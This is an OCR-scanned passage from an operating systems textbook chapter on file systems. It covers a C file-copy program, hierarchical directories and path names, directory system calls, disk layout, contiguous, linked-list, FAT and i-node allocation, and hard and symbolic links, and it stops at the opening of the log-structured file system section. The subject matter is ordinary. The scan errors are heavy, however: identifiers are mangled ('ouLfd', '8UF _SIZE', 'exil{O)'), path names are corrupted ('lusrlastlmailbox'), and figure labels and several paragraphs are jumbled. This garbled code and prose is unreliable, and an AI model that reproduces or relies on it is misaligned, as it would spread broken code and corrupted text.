int in_fd, ouLfd, rd_count, wLcount; 
char buffer[8UF _SIZE]; 

if (argc != 3) exit(1); /* syntax error if argc is not 3 *f 

/* Open the input file and create the output tHe */ . in_fd = open(argv[1], O_RDONLY); /* open the source file */ 
. if (in_fd < 0) exit(2); 1* if it cannot be �pe�ed, �Xlt */ 

QuLfd "" creat(argv[2], OUTPUT _MODE); /* create the destinatIOn file .*{ 
if (OULfd < 0) exit(3); {* if it cannot be created, eXit */ 

/* Copy loop */ 
while (TRUE) { 

rd count = read(in fd, buffer, BUF _SIZE); /* read a block of data */ 
if (rd_c�unt <= 0) break;

- /* if end of. file or error, exit loop *' 
wLcount ::: write(ouLfd, buffer, rd_count}; /* wnte data. *{ 
if (wLcount <= 0) exit(4); /* wLcount <= 0 IS an error */ 

/* Close the files */ 
close(in_fd); 
close(ouLfd); 
if (rd_count == 0) 

exil{O); 
else 

exit(S); 

/* no error on last reaq·*! 

/* error on last read */ 

Figure 4-5. A simple program to copy a file. 

it will be created. The program must be called with exactly two arguments, both 
legal file names. The first is the source; the second is the output file. 

The four #include statements near the top of the program cause a large num
ber of definitions and function prototypes to be included in the program. These are 
needed to make the program conformant to the relevant international standards, 
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but will not concern us further. The next line is a function prototype for main, 
something required by ANSI C, but also not important for our purposes. 

The first #define statement is a macro definition that defines the character 
string BUF _SIZE as a macro that expands into the number 4096. The program 
will read and write in chunks of 4096 bytes. It is considered good programming 
practice to give names to constants like this and to use the names instead of the 
constants. Not only does this convention make programs easier to read, but it also 
makes them easier to maintain. The second #define statement determines who can 
access the output file. 

The main program is called main, and it has two arguments, argc, and argv. 
These are supplied by the operating system when the program is called. The first 
one tells how many strings were present on the command line that invoked the 
program, including the program name. It should be 3. The second one is an array 
of pointers to the arguments. In the example call given above, the elements of this 
array would contain pointers to the following values: 

argv[O] ::: "copyfile" 
argv[l] � "abc" 
argv[2] ::: "xyz" 

It is via this array that the program accesses its arguments. 
Five variables are declared. The first two, in_/d and ouL/d, will hold the fIle 

descriptors, small integers returned when a file is opened. The next two, 
rd_count and wLcount, are the byte counts returned by the read and write system 
calls, respectively. The last one, buffer, is the buffer used to hold the data read and 
supply the data to be written. 

The first actual statement checks argc to see if it is 3. If not, it exits with stat
us code 1 .  Any status code other than 0 means that an error has occurred. The 
status code is the only error reporting present in this program. A production ver
sion would nonnally print error messages as well. 

Then we try to open the source file and create the destination file. If the 
source file is successfully opened, the system assigns a small integer to in_fd, to 
identify the file. Subsequent calls must include this integer so that the system 
knows which file it wants. Similarly, if the destination is successfully created, 
oULfd is given a value to identify it. The second argument to creat sets the pro
tection mode. If either the open or the create fails, the corresponding file descrip
tor is set to - I ,  and the program exits with an error code. 

Now comes the copy loop. It starts by trying to read in 4 K.B of data to buffer. 
It does this by calling the library procedure read, which actually invokes the read 
system call. The first parameter identifies the file, the second gives the buffer, and 
the third tells how many bytes to read. The value assigned to rd_count gives the 
number of bytes actually read. Nonnal1y, this will be 4096, except if fewer bytes 
are remaining in the file. When the end of file ihas been reached, it will be O. If 
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rd_count is ever zero or negative, the copying cannot continue, so the break state
ment is executed to terminate the (otherwise endless) lOop. 

The call to write outputs the buffer to the destination file. The first parameter 
identifies the file, the second gives the buffer, and the third tells how many bytes 
to write, analogous to read. Note that the byte count is the number of bytes ac
tually read, not BUF _SIZE. This point is important because the last read will not 
return 4096 unless the file just happens to be a multiple of 4 KB. 

When the entire file has been processed, the first call beyond the end of file 
will return 0 to rd_count, which will make it exit the loop. At this point the two 
files are closed and the program exits with a status indicating normal termination. 

Although the Windows system calls are different from those of UNIX, the 
general structure of a command-line Windows program to copy a file is moderate
ly similar to that of Fig. 4-5. We will examine the Windows Vista calls in Chap. 
I ! .  

4.2 DIRECTORIES 

To keep track of files, file systems normally have directories or folders, 
which in many systems are themselves files. In this section we will discuss direc
tories, their organization, their properties, and the operations that can be perform
edon them. 

4.2.1 Single-Level Directory Systems 

The simplest form of directory system is having one directory containing all 
the files. Sometimes it is caned the root directory, but since it is the only one, the 
name does not matter much. On early personal computers, this system was com
mon, in part because there was only one user. Interestingly enough, the world's 
first supercomputer, the CDC 6600, also had only a single directory for all files, 
even though it was used by many users at once. This decision was no doubt made 
to keep the software design simple. 

An example of a system with one directory is given in Fig. 4-6. Here the di
rectory contains four files. The advantages of this scheme are its simplicity and 
the ability to locate files quickly-there is only one place to look, after all. It is 
often used on simple embedded devices such as telephones, digital cameras, and 
some portable music players. 

4.2.2 Hierarchical Directory Systems 

The single-level is adequate for simple dedicated applications (and was even 
used on the first personal computers), but for modern users with thousands of 
files, it would be impossible to find anything if all files were in a single directory. 
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Q-ROOI directory 

®®®@ 
Figure 4-6. A single-level directory system containing four [des. 

Consequently, a way is needed to group related files together. A professor, for 
example, might have a collection of files that together fonn a book that he is writ
in� for one course, a second collection of files containing student programs sub
mItted for another course, a third group of files containing the code of an ad
vanced compiler-writing system he is building, a fourth group of files containing 
grant proposals, as well as other files for electronic mail, minutes of meetinO's 
papers he is writing, games, and so on. 

t:> , 

What is needed is a hierarchy (i.e., a tree of directories). With this approach, 
there can be �s man� directories as are needed to group the files in natural ways. 
Furthermore, If multIple users share a common file server, as is the case on many 
c?mpany networks, each user can have a private root directory for his or her own 
hierarchy. This approach is shown in Fig, 4-7. Here, the directories A B and C 
contained in the root directory each belong to a different user, two of �ho� have 
created subdirectories for projects they are working on. 

--User We 

Figure 4-7. A hierarchical directory system. 

The ability for users to create an arbitrary number of subdirectories provides a 
powerful structuring tool for users to organize their work. For this reason, nearly 
all modem file systems are organized in this manner. 

4.2.3 Path Names 

��en the file system is organized as a directory tree, some way is needed for 
speclfymg file names. Two different methods are commonly used. In the first 
method, each file is given an absolute path name consisting of the path from the 
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root directory to the file. As an example, the path lusrlastlmailbox means that the 
root directory contains a subdirectory usr, which in tum contains a subdirectory 
ast, which contains the file mailbox. Absolute path names always start at the root 
directory and are unique. In UNIX the components of the path are separated by I. 
In Windows the separator is \ .  In MULTICS it was >. Thus the same path name 
would be written as follows in these three systems: 

Windows 
UNIX 
MULTICS 

\usr\ast\mailbox 
/usr/astfmallbox 
>usr>ast>mailbox 

No matter which character is used, if the first character of the path name is the 
separator, then the path is absolute. 

The other kind of name is the relative path name. This is used in conjunc
tion with the concept of the working directory (also called the current direc
tory). A user can designate one directory as the current working directory, in 
which case all path names not beginning at the root directory are taken relative to 
the working directory. For example, if the current working directory is lusrlast, 
then the file whose absolute path is lusrlastlmailbox can be referenced simply as 
mailbox. In other words, the UNIX command 

cp lusr/astfmaHbox lusr/astfmailbox.bak 

and the command 

cp mailbox maHbox.bak 

do exactly the same thing if the working directory is lusrlast. The relative form is 
often more convenient, but it does the same thing as the absolute form. 

Some programs need to access a specific file without regard to what the"work
ing directory is. In that case, they should always use absolute path names. For 
example, a spelling checker might need to read lusrllibldictionary to do its work. 
It should use the full, absolute path name in this case because it does not know 
what the working directory will be when it is called. The absolute path name will 
always work, no matter what the working directory is. 

Of course, if the spelling checker needs a large number of files from lusrllib, 
an alternative approach is for it to issue a system call to change its working direc
tory to lusrllib, and then use just dictionary as the first parameter to open. By 
explicitly changing the working directory, it knows for sure where it is in the di
rectory tree, so it can then use relative paths. 

Each process has its own working directory, so when it changes its working 
directory and later exits, no other processes are affected and no traces of the 
change are left behind in the file system. In this way it is always perfectly safe for 
a process to change its working directory whenever that is convenient On the 
other hand, if a library procedure Changes the working directory and does not 
change back to where it was when it is finiShed, the rest of the program may not 
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work sin�� its assumption about where it is may now suddenly be invalid. For this reason'

h 
rary procedures rarely Change the working directory and when they must, t ey always Change it back again before retumino-

' 

M
l
ost o�era�ing syste� that support a hierarchicat'directory system have two specla entnes 10 every directory " "  and " " II "d d " 

, ' .. , genera y pronounced "dot" and 

th 
ot ot. 

d' 
Dot refers. to th� Current directory; dotdot refers to its parent (except in 

th: ��:x ���tOry, ���re It refers to i�self). To see how these are used, consider 

t I 
tree 0 Ig. 4-�. A certam process has lusrlast as its workino direcory .

. 
t �a� use .. t� go hIgher up the tree. For example, it can co �he file lusr/lzbldzctLOnary to Its own directory using the command 

py 

cp . .llib/dictionary . �e firsttKath
. 
instructs the syst�m to go upward (to the usr directory) then to go own to e duectory lib to find the file dictionary. 

' 

bin 

bin 
etc 
Jib 
u" 
tmp 

etc lib 

Root directory 

diet. 

u" 
ast 

Figure 4·8. A UNIX directory tree. 

tmp 

-/usrlfim 

T� secon� argument (do
.
t) nan:es the current directory. When the cp Com

mand t>ets a dIrectory name (mcIudmg dot) as its last argument, it copies an the 
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files to that directory. Of course, a more normal way to do the copy would be to 
use the full absolute path name of the source file: 

cp lusrllib/dlctionary . 

Here the use of dot saves the user the trouble of typing dictionary a second time. 
Nevertheless, typing 

cp !usr/lib/dictionary dictionary 

also works fine, as does 

cp !usr/lib/dictionary lusr/astJdlctionary 

All of these do exactly the same thing. 

4.2.4 Directory Operations 

The allowed system calls for managing directories exhibit more variation 
from system to system than system calls for files. To give an impression of what 
they are and how they work, we will give a sample (taken from UNIX). 

1. Create. A directory is created. It is empty except for dot and dordat, 
which are put there automatically by the system (or in a few cases, 
by the mkdir program). 

2. Delete. A directory is deleted. Only an empty directory can be de
leted. A directory containing only dot and dotdot is considered em
pty as these cannot usually be deleted. 

3. OpendiL Directories can be read. For example, to list all the files in 
a directory, a listing program opens the directory to read out the 
names of all the files it contains. Before a directory can be read, it 
must be opened, analogous to opening and reading a file. 

4. Closedir. When a directory has been read, it should be closed to free 
up internal table space. 

5, Readdir. This call returns the next entry in an open directory. Form
erly, it was possible to read directories using the usual read system 
call, but that approach has the disadvantage of forcing the pro
grammer to know and deal with the internal structure of directories. 
In contrast, readdir always returns one entry in a standard format, no 
matter which of the possible directory structures is being used. 

6. Rename. In many respects, directories are just like files and can be 
renamed the same way files can be. 

7. Link. Linking is a technique that allows a file to appear in more than 
one directory. This system call specifies an existing file and a path 
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name, and creates a link from the existing file to the name specified 
by the path. In this way, the same file may appear in multiple direc
tories. A link of this kind, which increments the counter in the file's 
i-node (to keep track of the number of directory entries containing 
the file), is sometimes called a hard link 

8. Unlink. A directory entry is removed. If the file being unlinked is 
only present in one directory (the normal case), it is removed from 
the file system. If it is present in mUltiple directories, only the path 
name specified is removed. The others remain. In UNIX, the system 
call for deleting files (discussed earlier) is, in fact, unlink. 
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The above list gives the most important calls, but there are a few others as well, 
for example, for managing the Rrotection information associated with a directory. 

A variant on the idea of linking files is the symbolic link Instead of having 
two names point to the same internal data structure representing a file, a name can 
be created that points to a tiny file naming another file. When the fIrst file is used, 
for example, opened, the file system follows the path and finds the name at the �nd. Then it starts the lookup process all over using the new name. Symbolic 
Imks have the advantage that they can cross disk boundaries and even name files 
on remote computers. Their implementation is somewhat less efficient than hard 
links though. 

4.3 FILE SYSTEM IMPLEMENTATION 

Now it is time to turn from the user's view of the file system to the imple
mentor's view. Users are concerned with how files are named, what operations 
are allowed on them, what the directory tree looks like, and similar interface is
sues. Implementors are interested in how files and directories are stored, how disk 
space is managed, and how to make everything work efficiently and reliably. In 
the fonowing sections we will examine a number of these areas to see what the is
sues and trade-offs are. 

4.3.1 File System Layont 

File systems are stored on disks. Most disks can be divided up into one or 
more partitions, with independent file systems on each partition. Sector 0 of the 
disk is called the MBR (Master Boot Record) and is used to .boot the computer. 
The end of the MBR contains the partition table. This table'-gives the starting and 
ending addresses of each partition. One of the partitions in the table is marked as 
active. When the computer is booted, the BIOS reads in and executes the MBR 
The first thing the MBR program does is locate the active partition, read in its first 
block, called the boot block, and execute it. The program in the boot block loads 
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the operating system contained in that partition. For uniformity, eve�y partition 

starts with a boot block, even if it does not contain a boatable operatmg system. 

Besides, it might contain one in the future. . 
Other than starting with a boot block, the layout of a disk partition vanes a lot 

from file system to file system. Often the file system will contain some of the 

items shown in Fig. 4-9. The first one is the superblock. It contains all the ke
'y 

parameters about the file system and is read into memory when the computer IS 

booted or the file system is first touched. Typical infonnation in the superblo�k 

includes a magic number to identify the file system type, the number of blocks m 

the file system, and other key administrative information. 

Entire disk ------------.... 

Partition table 

\ 

Flies and directories 

Figure 4-9. A possible file system layout. 

Next might come information about free blocks in the file system, for ex
ample in the form of a bitmap or a list of pointers. This might be followed by the 
i-nodes, an array of data structures, one per file, telling all about the file. After 
that might come the root directory, which contains the top of the file system tree. 
Finally, the remainder of the disk contains all the other directories and files. 

4.3.2 Implementing Files 

Probably the most important issue in implementing file storage is keeping 
track of which disk blocks go with which file. Various methods are used in dif
ferent operating systems. In this section, we will examine a few of them. 

Contiguous Allocation 

The simplest allocation scheme is to store each file as a contiguous run of disk 
blocks. Thus on a disk with l-KB blocks, a 50-KB file would be allocated 50 con
secutive blocks. With 2-KB blocks, it would be allocated 25 consecutive blocks. 
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We see an example of contiguous storage allocation in Fig. 4-1O(a). Here the 
first 40 disk blocks are shown, starting with block 0 on the left. Initially, the disk 
was empty. Then a file A, of length four blocks, was written to disk starting at the 
beginning (block 0). After that a six-block file, B, was written starting right after 
the end of file A. 

Note that each file begins at the start of a new block, so that if file A was real
ly 3Y2 blocks, some space is wasted at the end of the last block. In the figure, a 
total of seven files are shown, each one starting at the block following the end of 
the previous one. Shading is used just to make it easier to tell the files apart. It 
has no actual significance in terms of storage. 

File A 
(4 blocks) 

File S 
(3 blocks) 

(RleA) 

� 
File S 

FileC 
(6 blocks) 

(FileC) 

File D 
(5 blocks) 

5 Free blocKs 

(al 

(bl 

File E 
(12 blocks) 

(File E) 

File G 
(3 blocks) 

� 
File F 

(6 blocks) 

(p'ileG) 

6 Free blocks 

Figure 4-10. (a) Contiguous allocation of disk space for seven files .. (b) The 
state of the disk after files D and F have been removed. 

Contiguous disk space allocation has two significant advantages. First, it is 
simple to implement because keeping track of where a file's blocks are is reduced 
to remembering two numbers: the disk address of the first block and the number 
of blocks in the file. Given the number of the first block, the number of any other 
block can be found by a simple addition. 

. 

Second, the read perfonnance is excellent because the entire file can. be read 
from the disk in a single operation. Only one seek is needed (to the first block). 
After that, no more seeks or rotational delays are needed, so data come in at the 
full bandwidth of the disk. Thus contiguous allocation is simple to implement and 
has high performance. 

Unfortunately, contiguous allocation also has a fairly significant drawback: 
over the course of time. the disk becomes fragmented. To see how this comes 



274 FILE SYSTEMS CHAP. 4 

about, examine Fig. 4-1O(b). Here two files, D and F, have been removed. When 
a file is removed, its blocks are naturally freed, leaving a run of free blocks on the 
disk. The disk is not compacted on the spot to squeeze out the hole since, that 
would involve copying all the blocks following the hole, potentially millions of 
blocks. As a result, the disk ultimately consists of files and holes, as illustrated in 
the figure. 

Initially, this fragmentation is not a problem, since each new file can be writ
tell at the end of disk, following the previous one. However, eventually the disk 
will fill up and it will become necessary to either compact the disk, which is 
prohibitively expensive, or to reuse the free space in the holes. Reusing the space 
requires maintaining a list of holes, which is doable. However, when a new file is 
to be created, it is necessary to know its final size in order to choose a hole of the 
correct size to place it in. 

Imagine the consequences of such a design. The user starts a text editor or 
word processor in order to type a document. The first thing the program asks is 
how many bytes the final document will be. The question must be answered or the 
program will not continue, If the number given ultimately proves too small, the 
program has to tenninate prematurely because the disk hole is full and there is no 
place to put the rest of the file. If the user tries to avoid this problem by giving an 
unrealistically large number as the final size, say, 100 MB, the editor may be un
able to find such a large hole and announce that the file cannot be created. Of 
course, the user would be free to start the program again and say 50 MB this time, 
and so on until a suitable hole was located. Still, this scheme is not likely to lead 
to happy users. 

However, there is one situation in which contiguous allocation is feasible and, 
in fact, widely used: on CD-ROMs. Here all the file sizes are known in advance 
and will never change during subsequent use of the CD-ROM file system. We 
will study the most Common CD-ROM file system later in this chapter. 

The situation with DVDs is a bit more complicated. In principle, a 90-min 
movie could be encoded as a single file of length about 4.5 GB, but the file system 
used, UDF (Universal Disk Format), uses a 30-bit number to represent file 
length, which limits files to 1 GB. As a consequence, DVD movies are generally 
stored as three or four I-GB files, each of which is contiguous. These physical 
pieces of the single logical file (the movie) are called extents. 

As we mentioned in Chap. 1, history often repeats itself in computer science 
as new generations of technology occur. Contiguous allocation was actually used 
on magnetic disk file systems years ago due to its simplicity and high per
fonnance (user friendliness did not count for much then). Then the idea was 
dropped due to the nuisance of having to specify final file size at file creation 
time. But with the advent of CD-ROMs, DVDs, and other write-once optical me
dia, suddenly contiguous files are a good idea again. It is thus important to study 
old systems and ideas that were conceptually clean and simple because they may 
be applicable to future systems in surprising ways. 
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Linked List Allocation 

The second method for storing files is to keep each one as a linked list of disk 
blocks, as shown in Fig. 4-1 1 .  The first word of each block is used as a pointer to 
the next one. The rest of the block is for data. 

File A 

0 
File File File File File 
block block block block block 
0 1 2 3 4 

Physical 4 7 2 10 12 block 
File B 

0 
File File File File 
block block block block 
0 1 2 3 

Physical 6 3 11 14 
block 

Figure 4·11. Storing a file as a linked list of disk blocks. 

Unlike contiguous allocation, every disk block can be used in this method. 
No space is lost to disk fragmentation (except for internal fragmentation in the last 
block). Also, it is sufficient for the directory entry to merely store the disk ad
dress of the first block. The rest can be found starting there. 

On the other hand, although reading a file sequentially is straightforward, ran
dom access is extremely slow. To get to block n, the operating system has to start 
at the beginning and read the n - I blocks prior to it, one at a time, Clearly, doing 
so many reads will be painfully slow. 

Also, th� amount of data storage in a block is no longer a power of two be
cause the pomter takes up a few bytes. While not fatal, having a peculiar size is 
less efficient because many programs read and write in blocks whose size is a 
power of two, \Vith the first few bytes of each block occupied to a pointer to the 
next block, reads of the full block size require acquiring and concatenating infor
mation from two disk blocks, which generates extra overhead due to the copying. 

Linked List Allocation Using a Table in Memory 

Both disadvantages of the linked list allocation can be eliminated by taking 
the pointer word from each disk block and putting it in a table in memory. Figure 
4-12 shows what the table looks like for the example of Fig. 4-1 1. In both figures, 
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we have two files. File A uses disk blocks 4, 7, 2, 10, and 12, in that order, and 
file B uses disk blocks 6, 3, 1 1, and 14, in that order. Using the table of Fig. 4-12, 
we can start with block 4 and follow the chain all the way to the end. The same 
can be done starting with block 6. Both chains are terminated with a special 
marker (e.g., -1) that is not a valid block number. Such a table in main memory is 
called a FAT (File Allocation Table). 

Physical 
block 

o 

2 
3 
4 
5 
6 
7 
8 
9 
0 
1 
2 
3 
4 
5 

1 0 
1 1  
7 - File A starts here 

3 - File B starts here 
2 

1 2 
" 
·1 

·1 
]-.- Unused block 

Figure 4-12. Linked list allocation using a file allocation table in main memory. 

Using this organization, the entire block is available for data. Furthermore, 
random access is much easier. Although the chain must still be followed to find a 
given offset within the file, the chain is entirely in memory, so i� �an be f�llowed 
without making any disk references. Like the previous method, It IS sufficIent for 
the directory entry to keep a single integer (the starting block number) and still be 
able to locate all the blocks, no matter how large the file is. 

The primary disadvantage of this method is that the entire table must be in 
memory all the time to make it work. With a 200-GB disk and a 1-KB block size, 
the table needs 200 million entries, one for each of the 200 million disk blocks. 
Each entry has to be a minimum of 3 bytes. For speed in lookup, they should be 4 
bytes. Thus the table will take up 600 MB or 800 MB of main memory all the 
time, depending on whether the system is optimized for space or time. Not wildly 
practical. Clearly the FAT idea does not scale well to large disks. 
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I-nodes 

�ur las� method for keeping track of which blocks belong to which file is to 
assocIa�e WIth each �le a data Structure called an i-node (index-node), which lists 
t�e att:lbut�s and disk addresses of the file's blocks. A simple example is de
pIcted In FIg. 4-13 . .  Given the i-node, it is then possible to find an the blocks of 
the fil�. The big 

.
advantage of this scheme over linked files using an in-memory 

table IS that the I-node need only be in memory when the correspondino- file is 
open. If each i-node occupies n bytes and a maximum of k files may be 

°
open at 

once: the total memory occupied by the array holding the i-nodes for the open 
files IS only kn bytes. Only this much space need be reserved in advance. 

FHe Attributes 

Address of disk block. 0 

Address of disk block 1 

Address of disk block 2 

Address of disk. block 3 1-----+ 
Address of disk block 4 � 
Address of disk block 5 1-----+ 
Address of disk block 6 1-----+ 
Address of disk block 7 1-----+ 

Address of block of pointers 

Disk block 
containing 
additional 

disk addresses 

Figure 4� 13. An example i-node. 

This array is usually far smaller than the space occupied by the file table de
s
.
cribed fn the pre�ious section. The reason is simple. The table for holding the 

hnked lIst of all dISk blocks is proportional in size to the disk itself. If the disk 
has n blocks, the table needs n entries. As disks grow larger, this table grows line
a�ly :-vith them: In contrast, the i-node scheme requires an array in memory whose 
SIze IS proportIonal to the maximum number of files that may be open at once. It 
does not matter if the disk is 10 GB or 100 GB or 1000 GB. 

One problem with i-nodes is that if each one has room for a fixed number of 
disk addresses, what happens when a file grows beyond this limit? One solution 
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. h i t  d'sk address not for a data block, but instead for the address IS to reserve t e as I . . E of a block containing more disk block addresses, as sho�� 10 �lg. 4� 13. ven 
d d Id be two or more such blocks contammg dIsk addresses or more a vance WOll . 

even disk blocks pointing to other disk blocks full of addresses. We wIll come 
back to i-nodes when studying UNIX later. 

4.3.3 Implementing Directories 

Before a file can be read, it must be opened. When a file is ope�ed, the oper

ating system uses the path name supplied by the user to locate the 
,
directory entry. 

The directory entry provides the infonnation needed t
,
o find the diSk block�. De

eudin on the system, this infonnation may be the dISk address of the �ntlre �le p 
with �ontiguous allocation), the number of the first blo::k (bO� lmked h�t (
h es) 0 the number of the i-node. In all cases, the mam functIOn of the dIsc em , r  

h ' f ' d d  's to map the ASCII name of the file onto t e m onnaUon nee e rectory system 1 
to locate the data. . 

A closely related issue is where the attributes should be stor�d. r:very file sys-

. . fil attn'butes such as each file's owner and creatton ume, and they tern rnamtamS 1 e ,  . . .  . . '  th must be stored somewhere. One obvious posSIbIlIty IS. to st�re �em dlfec�y l� e 

directory entry. Many systems do precisely �hat. Thl� Opt10� IS s�own Ill. FIg. 4-

14(a). In this simple design, a directory conSISts of a lIst of fIxed�s1Ze e�ltnes, one 

per file, containing a (fixed-length) file name,. a structur� of the flle attn?utes, and 
one or more disk addresses (up to some maximum) tellmg where the dISk blocks 
are. 

D 
games i attributes games 

mail 
news 
wmk 

: attributes 
: attributeS 
: attributes 
la) 

mail 
news 
work 

Ib) q Data structure "" containing the 
attributes 

Figure 4-14. (a) A simple directory containing fixed-si�e ent�ies with the diS� addresses 
and attributes in the directory entry. (b) A directory m which each entry Just 
refers 10 an i-node. 

For systems that use i-nodes, another pos.sibility for storing the �ttributes is in 
the i-nodes, rather than in the directory entnes. In that �ase, the dlf�:ory entry 
can be shorter: just a file name and an i-node number. ThIS approach IS Illustrated 
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in Fig. 4-14(b). As we shall see later, this method has some advantages over putting them in the directory entry. The two approaches shown in Fig. 4-14 correspond to Windows and UNIX, respectively, as we will see later. 
So far we have made the assumption that files have short, fixed-length names. In MS-DOS files have a 1-8 character base name and an optional extension of 1-3 characters. In UNIX Version 7, file names were 1-14 characters, including any extensions. However, nearly all modern operating systems support longer, variable-length file names. How can these be implemented? 
The simplest approach is to set a limit on file name length, typically 255 char

acters, and then use one of the designs of Fig. 4-14 with 255 characters reserved for each file name. This approach is simple; but wastes a great deal of directory space, since few files have such long names. For effIciency reasons, a different 
structure is desirable. 

One alternative is to give up the idea that all directory entries are the same size. With this method, each directory entry contains a fixed portion, typically starting with the length of the entry, and then followed by data with a fixed format, usually including the owner, creation time, protection information, and other attributes. This fixed-length header is followed by the actual file name, however long it may be, as shown in Fig. 4-15(a) in big-endian fonnat (e.g., SPARe). In this example we have three files, project-budget, personnel, and foo. Each file name is terminated by a special character (usually 0), which is represen"ted in the 
figure by a box with a croSs in it. To allow each directory entry to begin on a word boundary, each file name is filled out to an integral number of words, shown 
by shaded boxes in the figure. 

A disadvantage of this method is that when a file is removed, a variable-sized gap is introduced into the directory into which the next file to be entered may not fit. This problem is the same one we saw with contiguous disk files, only now compacting the directory is feasible because it is entirely in memory. Another problem is that a single directory entry may span multiple pages, so a page fault may occur while reading a file name. 
Another way to handle variable-length names is to make the directory entries themselves all fixed length and keep the file names together in a heap at the end of the directory, as shown in Fig. 4-15(b). This method has the advantage that when an entry is removed, the next file entered will always fit there. Of course, the heap must be managed and page faults can still occur while processing file names. One minor win here is that there is no longer any real need for file names to begin at word boundaries, so no filler characters are needed after file names in Fig. 4-J5(b) as they are in Fig. 4-15(a). 
In all of the designs so far, directories are searched linearly from beginning to 

end when a file name has to be looked up. For extremely long directories, linear searching can be slow. One way to speed up the search is to use a hash table in each directory. Call the size of the table n. To enter a file name, the name is 
hashed onto a value between 0 and n - 1 ,  for example, by dividing it by n and 
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File 1 entry length Pointer to file 1 's name 

FHe 1 attributes File 1 attributes 
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Figure4-1S. Two ways of handling long file names in a directory. (a) In-line. 
(b) In a heap. 

Heap 

taking the remainder. Alternatively, the words comprising the file name canoe 
added up and this quantity divided by n, or something similar. 

Either way, the table entry corresponding to the hash code is inspected. If it is 
unused, a pointer is placed there to the file entry. File entries follow the hash 
table. If that slot is already in use, a linked list is constructed, headed at the table 
entry and threading through all entries with the same hash value. 

Looking up a file follows the same procedure. The file name is hashed to 
select a hash table entry. All the entries on the chain headed at that slot are 
checked to see if the file name is present. If the name is not on the chain, the file 
is not present in the directory. 

. 
Using a hash table has the advantage of much faster lookup, but the dlsadvan

taae of more complex administration. It is only really a serious candidate in sys
te�s where it is expected that directories will routinely contain hundreds or 
thousands of files. 

A different way to speed up searching large directories is to cache the results 
of searches. Before starting a search, a check is first made to see if the file name 
is in the cache. If so, it can be located immediately. Of course, caching only 
works if a relatively small number of files comprise the majority of the lookups. 
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4.3.4 Shared Files 

When several �s�rs are working together on a project, they often need to share �les: As a re�ult, It .IS often c�nvenien� for a shared file to appear simultaneously 
m different drrectones belongmg to dIfferent users. Figure 4-16 shows th fil 

f F' 4 7  . e I e  
syste� 0 Ig. - agatn, only with one of C's files now present in one of B's di-
rectones as well. The connection between B's directory and the shared file is call
ed a link. The file system itself is-now a Directed Acyclic Graph, or DAG, rath
er than a tree. 

Shared file 

Figure 4·16. File system containing a shared file. 

. 
S�ari�g file� is convenient, but it also introduces some problems. To start 

WIth, If d�ectones really do contain disk addresses, then a copy of the disk ad
dresses wIll have to be made in B's directory when the file is linked. If either B or 
C subsequently appends to the file, the new blocks will be listed only in the direc
tory of the user doing the append. The changes will not be visible to the other 
user, thus defeating the purpose of sharing. 

This problem can be solved in two ways. In the first solution, disk blocks are 
not listed in directories, but in a little data structure associated with the file itself. 
The directo�es would then point just to the little data structure. This is the ap
proach used m UNIX (where the little data Structure is the i-node). 

In the second solution, B links to one of C's files by having the system create 
a �ew. file, of type LINK, and entering that file in B' s directory. The new file con
tams Just the path name of the file to which it is linked. When B reads from the 
linked file, the operating system sees that the file being read from is of type 
LINK, looks up the name of the file, and reads that file. This approach is caned 
symbolic linking, to contrast it with traditional (hard) linking. 
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Each of these methods has its drawbacks. In the fIrst method, at the moment 
that B links to the shared file, the i-node records the file's owner as C Creating a 
link does not change the ownership (see Fig. 4-17), but it does incn�ase the link 
count in the i-node, SO the system knows how many directory entnes currently 
point to the file. 

C's directory C's directory B's directory 

o o o 
(a) (b) (e) 

Figure 4-17. (a) Situation prior to linking. (b) After the link is created. (c) After 
the original owner removes the file. 

If C subsequently tries to remove the file, the system is faced with a problem. 
If it removes the file and clears the i-node, B will have a directory entry pointing 
to an invalid i-node. If the i-node is later reassigned to another flle, B'g link will 
point to the wrong file. The system can see f:om the count in �he i-node t�at the 
file is still in use, but there is nO easy way for It to find all the dIrectory entrIes for 
the file, in order to erase them. Pointers to the directories �annot be stored in the 
i-node because there can be an unlimited number of directones. 

The only thing to do is remOve C's directory entry, but leav
.
e th: i-�ode i�tact, 

with count set to 1, as shown in Fig. 4-17(c). We now have a sltuatlOn In WhICh B 
is the only user having a directory entry for a fil� owned by C. If th� syste� does 
accounting Of has quotas, C will continue to be bIlled for the �le

. 
untll B decIdes to 

remove it, if ever, at which time the count goes to 0 and the file IS deleted. 
With symbolic links this problem does not arise because only the true owner 

has a pointer to the i-node. Users who have linked to the file just have path names, 
not i-node pointers. When the owner removes the file, it is destroyed. Subsequent 
attempts to use the file via a symbolic link will fail when the system is unable to 
locate the file. Removing a symbolic link does not affect the file at alL 

The problem with symbolic links is the extra overhead required. The file con
taining the path must be read, then the path must be pars�d an� �ol1owed, co�
ponent by component, until the i-node is reached. All of thIS aCtlVlty ma� reqU1�e 
a considerable number of extra disk accesses. Furthermore, an extra I-node IS 
needed for each symbolic link, as is an extra disk block to store the path, although 
if the path name is short, the system could store it in the i-node itself, as a kind of 
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optimization. Symbolic links have the advantage that they can be used to link to 
files on machines anywhere in the world, by simply providing the network address 
of the machine where the file resides in addition to its path on that machine. 

There is also another problem introduced by links, symbolic or otherwise. 
When links are allowed, files can have two Or more paths. Programs that start at a 
given directory and. find- all the files in that directory and its subdirectories will 
locate a linked file multiple times. For example, a program that dumps all the files 
in a directory and its subdirectories onto a tape may make mUltiple copies of a 
linked file. Furthennore, if the tape is then read into another machine, unless the 
dump program is clever, the linked file will be copied twice onto the disk, instead 
of being linked. 

4.3.5 Log-Structured File Systems 

Changes in technology are putting pressure on current file systems. In partic
ular, CPUs keep getting faster, disks are becoming much bigger and cheaper (but 
not much faster), and memories are growing exponentially in size. The one pa
rameter that is not improving by leaps and bounds is disk seek time. The combina
tion of these factors means that a performance bottleneck is arising in many file 
systems. Research done at Berkeley attempted to alleviate this problem by de
signing a completely new kind of file system, LFS (the Log�structured·File Sys
tem). In this section we will briefly describe how LFS works. For a more com
plete treatment, see (Rosenblum and Ousterhout, 1991). 

The idea that drove the LFS design is that as CPUs get faster and RAM 
memories get larger, disk caches are also increasing rapidly. Consequently, it is 
now possible to satisfy a very substantial fraction of aU read requests directly 
from the file system cache, with no disk access needed. It follows from this 
observation that in the future, most disk accesses will be writes, so the read-ahead 
mechanism used in some file systems to fetch blocks before they are needed no 
longer gains much performance. 

To make matters worse, in most file systems, writes are done in very small 
chunks. Small writes are highly inefficient, since a 50-J..lsec disk write is often pre
ceded by a lO-msec seek and a 4-msec rotational delay. With these parameters, 
disk efficiency drops to a fraction of 1%. 

To see where all the small writes come from, consider creating a new file on a 
UNIX system. To write this file, the i-node for the directory, the directory block, 
